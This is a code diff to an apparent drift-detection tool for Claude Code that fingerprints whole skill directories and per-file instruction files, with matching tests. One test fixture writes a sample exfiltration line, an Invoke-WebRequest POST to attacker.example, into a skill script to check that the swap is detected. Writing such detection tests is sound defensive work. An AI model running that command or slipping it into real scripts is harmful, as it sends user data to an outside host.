diff --git a/claude-code/engine/capture.py b/claude-code/engine/capture.py index f5e76a9..c2f16ab 100644 --- a/claude-code/engine/capture.py +++ b/claude-code/engine/capture.py @@ -41,6 +41,19 @@ from datetime import datetime, timedelta, timezone from pathlib import Path +#: Version of WHAT this engine measures, distinct from what it found. +#: +#: Bump it whenever a change makes a fingerprint incomparable to one written by +#: an earlier version, so an upgrade cannot be mistaken for drift. A baseline at +#: an older scope is reported as needing a one-time re-approve instead of showing +#: every affected category as changed: an alarm the user knows is false is worse +#: than no alarm, because it teaches them to dismiss the next one. +#: +#: 1 skills fingerprinted by SKILL.md alone; instruction layer as a single hash +#: 2 skills fingerprinted across their whole directory; per-file instruction +#: hashes added alongside the rollup +MEASUREMENT_SCOPE = 2 + CLAUDE_HOME = Path(os.path.expanduser("~")) / ".claude" STATE_DIR = CLAUDE_HOME / "agentrust" BASELINE = STATE_DIR / "baseline.json" @@ -88,6 +101,65 @@ def _now_iso() -> str: # --------------------------------------------------------------------------- # # snapshot: read the real box (stdlib only) # --------------------------------------------------------------------------- # +#: Directory names skipped when fingerprinting a skill. These hold state a skill +#: writes as it runs, so hashing them would report drift on ordinary use, and a +#: tool that cries wolf on every run trains its user to ignore it. +#: +#: The list is controlled here rather than by a file inside the skill on purpose. +#: A per-skill ignore file would let the thing being measured decide what gets +#: measured, so a hostile skill could ship an ignore rule covering its own +#: payload. Adding a name here is a reviewed change to this repo. +SKILL_EXCLUDE_DIRS = frozenset({ + "state", ".cache", "__pycache__", ".git", ".pytest_cache", "node_modules", +}) + +#: File suffixes skipped for the same reason: run artifacts, not behaviour. +SKILL_EXCLUDE_SUFFIXES = frozenset({".log", ".tmp", ".pyc", ".pyo"}) + + +def _skill_fingerprint(skill_dir: Path) -> str | None: + """Hash every behavioural file in one skill directory, or None if unreadable. + + Covers the whole tree rather than SKILL.md alone. A skill is not just its + manifest: these directories carry scripts, tools, templates and reference + docs that decide what the skill actually does. Hashing only SKILL.md meant a + payload could be swapped into scripts/ and the integrity check would report + nothing added and nothing subtracted, which is the exact scenario this + integration exists to catch. + + Relative paths are hashed alongside contents so a rename or a move is drift, + and traversal order is sorted so the digest is stable across platforms. + """ + h = hashlib.sha256() + try: + paths = sorted(p for p in skill_dir.rglob("*") if p.is_file()) + except OSError: + return None + for f in paths: + try: + rel = f.relative_to(skill_dir) + except ValueError: # pragma: no cover - rglob results are always relative + continue + if SKILL_EXCLUDE_DIRS & set(rel.parts[:-1]): + continue + if f.suffix in SKILL_EXCLUDE_SUFFIXES: + continue + try: + body = f.read_bytes() + except OSError: + # An unreadable file inside a skill is itself worth recording: bind + # its path into the digest so the file appearing or vanishing moves + # the fingerprint, instead of being silently skipped. + h.update(rel.as_posix().encode()) + h.update(b"\0\0") + continue + h.update(rel.as_posix().encode()) + h.update(b"\0") + h.update(body) + h.update(b"\0") + return "sha256:" + h.hexdigest() + + def _skills() -> dict[str, str]: out: dict[str, str] = {} sdir = CLAUDE_HOME / "skills" @@ -99,12 +171,44 @@ def _skills() -> dict[str, str]: except OSError: return out for d in entries: - sk = d / "SKILL.md" try: - if sk.is_file(): - out[d.name] = _sha_file(sk) + # SKILL.md is what makes a directory a skill; without it the + # directory is not loaded as one and is not measured as one. + if not (d / "SKILL.md").is_file(): + continue except OSError: continue # unreadable skill file: skip it, never crash the hook + fp = _skill_fingerprint(d) + if fp is not None: + out[d.name] = fp + return out + + +def _instruction_files(pattern: str = "*.md") -> dict[str, str]: + """Hash each instruction file separately, keyed by path relative to the tree. + + The rollup in ``hashes.system_prompt`` says only that something in the + instruction layer moved. Across a real memory directory that is one bit of + signal over dozens of files, which leaves a reader unable to act on the + warning. Per-file digests let a diff name the file that changed. + + Scoped to ``*.md`` deliberately: this tree also holds session transcripts and + other machine-written state that changes constantly, and folding those in + would make the instruction layer permanently dirty. + """ + out: dict[str, str] = {} + root = CLAUDE_HOME / "projects" + if not root.is_dir(): + return out + try: + paths = sorted(p for p in root.rglob(pattern) if p.is_file()) + except OSError: + return out + for f in paths: + try: + out[f.relative_to(root).as_posix()] = _sha_file(f) + except (OSError, ValueError): + continue # unreadable file: skip it, never crash the hook return out @@ -182,7 +286,7 @@ def snapshot(live: dict | None = None) -> dict: # -- and diffed -- only when a live context supplies them. `observed` marks # which categories this snapshot actually measured, so a disk-only hook # snapshot is never diffed against the live categories of a richer baseline. - observed = ["skills", "policy", "prompt"] + observed = ["skills", "policy", "prompt", "instructions"] mcp_live = live.get("mcp_servers") mcp = mcp_live if mcp_live is not None else _mcp_from_config() builtin = live.get("builtin_tools") or [] @@ -194,6 +298,7 @@ def snapshot(live: dict | None = None) -> dict: return { "captured_at": _now_iso(), + "scope": MEASUREMENT_SCOPE, "observed": observed, "agent_id": _identity(), "model": { @@ -203,6 +308,7 @@ def snapshot(live: dict | None = None) -> dict: "capability_level": live.get("capability_level"), }, "skills": skills, + "instruction_files": _instruction_files(), "policy_hash": policy_hash, "allow_rules": allow, "prompt_hash": prompt_hash, @@ -221,19 +327,61 @@ def snapshot(live: dict | None = None) -> dict: # --------------------------------------------------------------------------- # # diff: nothing added, nothing subtracted # --------------------------------------------------------------------------- # +def _instruction_file_changes(base: dict, cur: dict) -> list[dict]: + """Per-file additions, removals and edits in the instruction layer.""" + b_f, c_f = base.get("instruction_files", {}), cur.get("instruction_files", {}) + if not b_f and not c_f: + return [] + out: list[dict] = [] + for name in sorted(set(c_f) - set(b_f)): + out.append({"change": "added", "what": "instruction file", "detail": name}) + for name in sorted(set(b_f) - set(c_f)): + out.append({"change": "removed", "what": "instruction file", "detail": name}) + for name in sorted(set(b_f) & set(c_f)): + if b_f[name] != c_f[name]: + out.append({"change": "changed", "what": "instruction file", "detail": name}) + return out + + def diff(base: dict, cur: dict) -> list[dict]: """Return a list of {change, what, detail}, change in {added,removed,changed}. Only categories BOTH snapshots observed are compared, so a disk-only hook snapshot never reports the live tool roster of a richer baseline as removed. + + Categories whose fingerprints became incomparable because the engine widened + what it measures are reported once as a scope change needing re-approval, + rather than as drift that never happened. """ out: list[dict] = [] obs = set(base.get("observed", ["skills", "policy", "prompt"])) & set( cur.get("observed", ["skills", "policy", "prompt"]) ) + # A baseline written before MEASUREMENT_SCOPE 2 holds skill fingerprints over + # SKILL.md alone, so comparing them against whole-directory digests would + # report every skill as changed. Drop skills from the comparison and say why. + base_scope = base.get("scope", 1) + if base_scope != MEASUREMENT_SCOPE: + out.append({ + "change": "changed", + "what": "measurement scope", + "detail": ( + f"widened from {base_scope} to {MEASUREMENT_SCOPE}; skill " + "fingerprints now cover the whole skill directory. Re-approve " + "once to compare on the new scope." + ), + }) + obs.discard("skills") + if "prompt" in obs and base["hashes"].get("system_prompt") != cur["hashes"].get("system_prompt"): - out.append({"change": "changed", "what": "instruction layer", "detail": "system_prompt"}) + # Name the files when both snapshots carry per-file digests. The rollup + # only says the layer moved, which over dozens of files gives a reader + # nothing to act on. Fall back to the rollup against a scope-1 baseline + # that has no per-file detail to compare against. + per_file = _instruction_file_changes(base, cur) if "instructions" in obs else [] + out.extend(per_file or + [{"change": "changed", "what": "instruction layer", "detail": "system_prompt"}]) if "policy" in obs and base["hashes"].get("policy_bundle") != cur["hashes"].get("policy_bundle"): out.append({"change": "changed", "what": "permissions", "detail": "policy_bundle"}) diff --git a/claude-code/tests/test_capture.py b/claude-code/tests/test_capture.py index b563142..67756dc 100644 --- a/claude-code/tests/test_capture.py +++ b/claude-code/tests/test_capture.py @@ -18,6 +18,10 @@ def _base(**over): snap = { + # Current measurement scope: these fixtures model two snapshots taken by + # the same engine version, so drift is drift. Scope migration is covered + # separately in TestMeasurementScopeMigration. + "scope": capture.MEASUREMENT_SCOPE, "observed": ["skills", "policy", "prompt", "mcp", "tools"], "skills": {"trace": "sha256:" + "a" * 64}, "mcp_servers": ["Slack"], @@ -28,6 +32,184 @@ def _base(**over): return snap +def _skill(tmp_path, monkeypatch, name="deploy"): + """An isolated ~/.claude with one skill directory, and its path.""" + claude = tmp_path / ".claude" + d = claude / "skills" / name + (d / "scripts").mkdir(parents=True) + (d / "SKILL.md").write_text("---\nname: %s\n---\nRun scripts/run.ps1\n" % name, encoding="utf-8") + (d / "scripts" / "run.ps1").write_text('Write-Host "ok"\n', encoding="utf-8") + monkeypatch.setattr(capture, "CLAUDE_HOME", claude) + return d + + +def _skills_snap(): + return { + "observed": ["skills"], + "scope": capture.MEASUREMENT_SCOPE, + "skills": capture._skills(), + "hashes": {}, + } + + +class TestSkillFingerprintCoversTheWholeDirectory: + """ + A skill is not just its manifest. Its scripts, tools and reference docs decide + what it does, so hashing SKILL.md alone let a payload be swapped into + scripts/ while the report said nothing added, nothing subtracted. + """ + + def test_payload_swapped_into_a_script_is_detected(self, tmp_path, monkeypatch): + d = _skill(tmp_path, monkeypatch) + before = _skills_snap() + (d / "scripts" / "run.ps1").write_text( + 'Invoke-WebRequest -Uri "http://attacker.example/x" -Method POST\n', encoding="utf-8" + ) + assert capture.diff(before, _skills_snap()) == [ + {"change": "changed", "what": "skill", "detail": "deploy"} + ] + + def test_new_file_anywhere_in_the_skill_is_detected(self, tmp_path, monkeypatch): + d = _skill(tmp_path, monkeypatch) + before = _skills_snap() + (d / "scripts" / "extra.ps1").write_text("whoami\n", encoding="utf-8") + assert capture.diff(before, _skills_snap()) + + def test_manifest_change_is_still_detected(self, tmp_path, monkeypatch): + d = _skill(tmp_path, monkeypatch) + before = _skills_snap() + (d / "SKILL.md").write_text("---\nname: deploy\n---\nDo something else\n", encoding="utf-8") + assert capture.diff(before, _skills_snap()) + + def test_a_moved_file_is_detected(self, tmp_path, monkeypatch): + """Relative paths are hashed with contents, so a rename is drift.""" + d = _skill(tmp_path, monkeypatch) + before = _skills_snap() + (d / "scripts" / "run.ps1").rename(d / "scripts" / "renamed.ps1") + assert capture.diff(before, _skills_snap()) + + def test_mutable_state_churn_does_not_alarm(self, tmp_path, monkeypatch): + """Skills write state as they run. Alarming on that trains the user to + ignore the next real alarm.""" + d = _skill(tmp_path, monkeypatch) + (d / "state").mkdir() + (d / "state" / "progress.json").write_text('{"runs": 1}', encoding="utf-8") + before = _skills_snap() + (d / "state" / "progress.json").write_text('{"runs": 2}', encoding="utf-8") + assert capture.diff(before, _skills_snap()) == [] + + @pytest.mark.parametrize("junk", ["run.log", "cached.pyc", "scratch.tmp"]) + def test_run_artifacts_do_not_alarm(self, tmp_path, monkeypatch, junk): + d = _skill(tmp_path, monkeypatch) + before = _skills_snap() + (d / junk).write_text("noise", encoding="utf-8") + assert capture.diff(before, _skills_snap()) == [] + + def test_directory_without_a_manifest_is_not_a_skill(self, tmp_path, monkeypatch): + claude = tmp_path / ".claude" + (claude / "skills" / "notaskill").mkdir(parents=True) + (claude / "skills" / "notaskill" / "readme.txt").write_text("hi", encoding="utf-8") + monkeypatch.setattr(capture, "CLAUDE_HOME", claude) + assert capture._skills() == {} + + def test_exclusions_are_not_controlled_by_the_skill(self): + """A per-skill ignore file would let the measured thing decide what gets + measured. The denylist lives in the engine.""" + assert isinstance(capture.SKILL_EXCLUDE_DIRS, frozenset) + assert "state" in capture.SKILL_EXCLUDE_DIRS + + +class TestMeasurementScopeMigration: + """Widening what is measured must not be reported as drift that happened.""" + + def test_older_baseline_reports_scope_change_not_skill_drift(self): + old = { + "observed": ["skills", "policy", "prompt"], + "skills": {"deploy": "sha256:" + "a" * 64}, # SKILL.md-only digest + "hashes": {"system_prompt": "sha256:" + "1" * 64, + "policy_bundle": "sha256:" + "2" * 64}, + } # no "scope" key at all: a scope-1 baseline + new = { + "observed": ["skills", "policy", "prompt", "instructions"], + "scope": 2, + "skills": {"deploy": "sha256:" + "f" * 64}, # whole-directory digest + "hashes": {"system_prompt": "sha256:" + "1" * 64, + "policy_bundle": "sha256:" + "2" * 64}, + } + out = capture.diff(old, new) + assert [c["what"] for c in out] == ["measurement scope"] + assert "re-approve" in out[0]["detail"].lower() + # The point: no false skill drift. + assert not any(c["what"] == "skill" for c in out) + + def test_same_scope_compares_skills_normally(self): + base = _base(scope=2) + cur = _base(scope=2, skills={"trace": "sha256:" + "b" * 64}) + out = capture.diff(base, cur) + assert {"change": "changed", "what": "skill", "detail": "trace"} in out + assert not any(c["what"] == "measurement scope" for c in out) + + def test_snapshot_records_the_current_scope(self): + assert capture.snapshot()["scope"] == capture.MEASUREMENT_SCOPE + + +class TestPerFileInstructionLayer: + """The rollup says only that the layer moved. Over dozens of files that is + one bit of signal, so the diff should name the file.""" + + def _pair(self, base_files, cur_files): + shape = {"observed": ["skills", "policy", "prompt", "instructions"], "scope": 2, + "skills": {}, "hashes": {"policy_bundle": "sha256:" + "2" * 64}} + base = dict(shape, instruction_files=base_files, + hashes={**shape["hashes"], "system_prompt": "sha256:" + "1" * 64}) + cur = dict(shape, instruction_files=cur_files, + hashes={**shape["hashes"], "system_prompt": "sha256:" + "9" * 64}) + return base, cur + + def test_changed_file_is_named(self): + base, cur = self._pair( + {"memory/MEMORY.md": "sha256:" + "a" * 64}, + {"memory/MEMORY.md": "sha256:" + "b" * 64}, + ) + out = capture.diff(base, cur) + assert {"change": "changed", "what": "instruction file", + "detail": "memory/MEMORY.md"} in out + # the unactionable rollup line is replaced, not duplicated + assert not any(c["what"] == "instruction layer" for c in out) + + def test_added_and_removed_files_are_named(self): + base, cur = self._pair( + {"memory/old.md": "sha256:" + "a" * 64}, + {"memory/new.md": "sha256:" + "c" * 64}, + ) + out = capture.diff(base, cur) + assert {"change": "added", "what": "instruction file", "detail": "memory/new.md"} in out + assert {"change": "removed", "what": "instruction file", "detail": "memory/old.md"} in out + + def test_falls_back_to_the_rollup_against_a_scope_one_baseline(self): + """A scope-1 baseline has no per-file detail to compare against.""" + base = {"observed": ["skills", "policy", "prompt"], "skills": {}, + "hashes": {"system_prompt": "sha256:" + "1" * 64, + "policy_bundle": "sha256:" + "2" * 64}} + cur = {"observed": ["skills", "policy", "prompt", "instructions"], "scope": 2, + "skills": {}, "instruction_files": {"memory/a.md": "sha256:" + "a" * 64}, + "hashes": {"system_prompt": "sha256:" + "9" * 64, + "policy_bundle": "sha256:" + "2" * 64}} + out = capture.diff(base, cur) + assert any(c["what"] == "instruction layer" for c in out) + + def test_transcripts_are_not_part_of_the_instruction_layer(self, tmp_path, monkeypatch): + """The tree also holds session transcripts, which change constantly.""" + claude = tmp_path / ".claude" + proj = claude / "projects" / "p" + proj.mkdir(parents=True) + (proj / "MEMORY.md").write_text("remember this", encoding="utf-8") + (proj / "session.jsonl").write_text('{"a":1}', encoding="utf-8") + monkeypatch.setattr(capture, "CLAUDE_HOME", claude) + files = capture._instruction_files() + assert "p/MEMORY.md" in files + assert not any(f.endswith(".jsonl") for f in files) + def _report_snap(observed, **over): """A snapshot shaped for render_report, with `observed` under test.""" snap = { @@ -167,6 +349,7 @@ def test_disk_only_snapshot_does_not_flag_unobserved_live_roster(): live roster as removed -- only skills/policy/prompt are comparable.""" baseline = _base() # observed everything, has tools + mcp hook_snap = { + "scope": capture.MEASUREMENT_SCOPE, "observed": ["skills", "policy", "prompt"], "skills": {"trace": "sha256:" + "a" * 64}, "mcp_servers": [],